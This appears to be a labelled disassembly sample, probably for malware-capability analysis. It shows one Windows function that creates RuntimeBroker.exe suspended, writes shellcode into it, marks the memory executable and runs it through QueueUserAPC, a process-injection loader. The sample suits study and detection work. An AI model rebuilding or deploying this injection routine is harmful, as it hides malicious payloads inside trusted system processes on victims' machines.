Function at 0x1400012e0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inject apc
Query environment variable
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x140023008]
xor rax, rsp
mov qword [rbp + 0x320], rax
xor esi, esi
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x58]
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], rsi
call fcn.1400010d0
lea rdx, str.RuntimeBroker.exe
lea rcx, str._i__Creating___s__Process_As_A_Debugged_Process_...
call fcn.140001010
xorps xmm0, xmm0
lea rdi, [rbp - 0x70]
xor eax, eax
lea rdx, [rbp]
movups xmmword [rbp - 0x6c], xmm0
mov dword [rbp - 0xc], eax
mov ecx, 0x68
movups xmmword [rbp - 0x5c], xmm0
mov qword [rsp + 0x70], rax
mov r8d, 0x104
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
rep stosb byte [rdi], al
movups xmmword [rsp + 0x60], xmm0
lea rdi, [rsp + 0x60]
mov dword [rbp - 0x70], 0x68
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, str.WINDIR
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x1400013b8
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____GetEnvironmentVariableA_Failed_With_Error_:__d__n
jmp 0x1400015ee
lea r9, str.RuntimeBroker.exe
lea r8, [rbp]
lea rdx, str._sSystem32_s
lea rcx, [rbp + 0x110]
call fcn.140001070
lea rdx, [rbp + 0x110]
lea rcx, str._n_t_i__Running_:___s__...
call fcn.140001010
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x110]
lea rax, [rbp - 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14000143d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateProcessA_Failed_with_Error_:__d__n
jmp 0x1400015ee
lea rcx, str.___DONE__n
call fcn.140001010
mov edx, dword [rsp + 0x70]
mov rdi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
test edx, edx
je 0x1400015f5
test rdi, rdi
je 0x1400015f5
test rbx, rbx
je 0x1400015f5
lea rcx, str._t_i__Target_Process_Created_With_Pid_:__d__n
call fcn.140001010
lea rcx, str.___DONE__n_n
call fcn.140001010
lea rcx, str._i__Writing_Shellcode_To_The_Target_Process_...
call fcn.140001010
mov r14, qword [rsp + 0x50]
mov r9d, 0x3000
mov r8, r14
mov qword [rbp - 0x80], rsi
xor edx, edx
mov dword [rsp + 0x78], esi
mov rcx, rdi
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x1400014d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._n_t____VirtualAllocEx_Failed_With_Error_:__d__n
jmp 0x1400015ee
mov rdx, rsi
lea rcx, str._n_t_i__Allocated_Memory_At_:_0x_p__n
call fcn.140001010
lea rcx, str._t___Press__Enter__To_Write_Payload_...
call fcn.140001010
call fcn.140008470
mov r8, qword [rsp + 0x58]
lea rax, [rbp - 0x80]
mov r9, r14
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400015e1
mov rdx, qword [rbp - 0x80]
cmp rdx, r14
jne 0x1400015e1
lea rcx, str._t_i__Successfully_Written__d_Bytes_n
call fcn.140001010
lea rax, [rsp + 0x78]
mov r9d, 0x40
mov r8, r14
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x14000156b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._n_t____VirtualProtectEx_Failed_With_Error_:__d__n
jmp 0x1400015ee
lea rcx, str.___DONE__n_n
call fcn.140001010
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
lea rcx, str.___Press__Enter__To_Run_Shellcode_...
call fcn.140001010
call fcn.140008470
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.___DONE__n_n
call fcn.140001010
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.140001010
call fcn.140008470
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400015fa
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._n_t____WriteProcessMemory_Failed_With_Error_:__d__n
mov edx, eax
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.140001640
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret